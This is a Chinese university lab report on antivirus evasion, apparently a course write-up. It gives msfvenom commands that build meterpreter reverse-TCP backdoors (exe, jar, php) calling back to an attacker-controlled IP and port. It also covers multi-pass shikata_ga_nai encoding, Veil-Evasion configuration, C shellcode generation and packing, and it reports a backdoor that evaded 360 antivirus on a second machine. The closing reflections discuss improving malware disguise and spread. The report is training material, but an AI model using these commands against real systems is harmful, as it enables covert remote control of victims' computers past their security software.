1、杀软是如何检测出恶意代码的?
2、免杀是做什么?
3、免杀的基本方法有哪些?
针对杀毒软件的三种基本检测方法,我们可以通过下面几种方法来实现免杀:
正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
可以看出,不做任何处理的后门程序可以轻易地被大多数杀软检测到。下面我们使用msf编码器对后门程序进行多次的重新编码,并对编码后的文件进行检测。
重新编码需要使用命令:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00‘ LHOST=192.168.1.132 LPORT=5115 -f exe > 5115encoded10.exe
将重新编码的文件上传到VirusTotal进行扫描的结果如下:
可见,单纯地重新编码对于免杀并没有太大的效果。我认为原因主要有:
生成Java后门程序需要使用命令:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.132 LPORT=5115 x> 20165115backdoor_java.jar
生成PHP后门程序使用的命令是:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.132 LPORT=5115 x> 20165115_backdoor.php
-生成文件如下图所示:
首先sudo apt-get update
更新一下
然后就是进行安装了sudo apt-get install veil-evasion
完成之后输入veil
命令打开veil,确认进行下一步的安装,直到安装结束。其中,在安装wine的时候应该会有一堆乱码的安装指导,就一路回车敲过来就完事了。
然后再进入veil界面。如果上一步的安装有没有完成的或者是失败了,你还是会看到那个提醒安装的提示。还是Y键同意,重新安装一遍就行了。如果成功的话应该会进入导航界面
输入use evasion
进入evasion
输入use c/meterpreter/rev_tcp.py
进入配置界面
设置反弹IP,注意此处应该是kali的IPset LHOST 192.168.1.132
设置端口set LPORT 5115
使用命令generate
生成文件,输入文件名即可。文件保存路径会显示在指令当中。
对生成的文件进行扫描结果如下:
首先使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.132 LPORT=5115 -f c
即使用C语言生成一段shellcode代码
使用vim 5115shellcode.c
创建工程文件。这个地方的文件,当我使用博客中普遍使用的加一段代码编译后,在win7虚拟机测试的过程中,开启杀软会被当作木马查杀。但是当我关掉所有的杀软和防火墙后,却不能实现回连。emmmm??不知道发生了什么的我去同学的电脑上做了一下尝试,结果还是失败了。该同学觉得有问题又自己尝试了一下,嗯,他也失败了(@课代表lty同学)。那么,问题出在什么地方呢?只能认为是这个生成c代码的过程有问题。于是我们尝试了另外一种生成c代码的方法。步骤与成功与否会在后面的回连中提到。
两种加壳操作。
因为这个加壳操作的时候我还对上面那个问题没有解决方法,所以这两个截图中的加壳文件的回连还是失败的。
另外,关于杀软,不得不提什么杀软都是弟弟,WindowsDefender是最NB的。当初为了避免国产的流氓杀软拖累我这个垃圾电脑的速度,我的电脑中一直只使用WD。但这一次,无论我使用什么方法,只要把生成的文件从kali中拖出来绝对瞬间报毒拒绝使用等待处理一气呵成。下图就是为了做测试允许通过的文件数量。并且我也特别留意了一下vt和vs的反馈,基本上Windows都对我做的东西报毒了。嗯,可以说是这个实验最大的收获之一了。
扯远了,回来
通过组合应用各种技术实现恶意代码免杀
补一个未加壳的文件进行扫描的结果截图,可以看到加壳在某些情况下反而更容易被发现:
用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
感谢刘天野同学贡献自己的一台电脑给我做测试。IP地址和文件名是因为在新的网络环境里面做的测试,所以可能会和上文中有出入。对方电脑环境为win10,360全家桶(好狠)。
上文也提到过,瞒过杀软一小段时间还是可以做到的。但是在360的环境下运行一小段时间,大概有个三五分钟的样子,基本上就报错gg了。所以说我们掌握的技术还仅仅是个皮毛,要想真正做出可以瞒过杀软很久、功能强大的恶意软件还需要不断地提升知识水平;
另一方面就是恶意程序的传播。这一点上我觉得自己的实战能力为0。现在我使用的方式基本及时:“我给你传个病毒你帮我接收一下做个测试。”嗯,很真实。所以说对于恶意软件的伪装和传播方面还要下很大的功夫。
一个大问题上文提到过,解决方法也有提及。就不说这个了。
小问题一大堆,总之都解决了。对了,实验过程中virustotal还崩溃过一次。emmmm,行吧。问题不大。所以上面会有一个测试使用viruscan做的。
首先就是,WindowsDefender niupi !
然后就是,虽然技术和手段都在不断地发展进步,但只要掌握了原理,还是可以通过最原始的方式做出一些东西的。不过不能因为有一点成就就沾沾自喜,还是要扎扎实实的不断学习。
2018-2019-2 网络对抗技术 20165115 Exp3 免杀原理与实践
原文:https://www.cnblogs.com/zcy20165115/p/10631680.html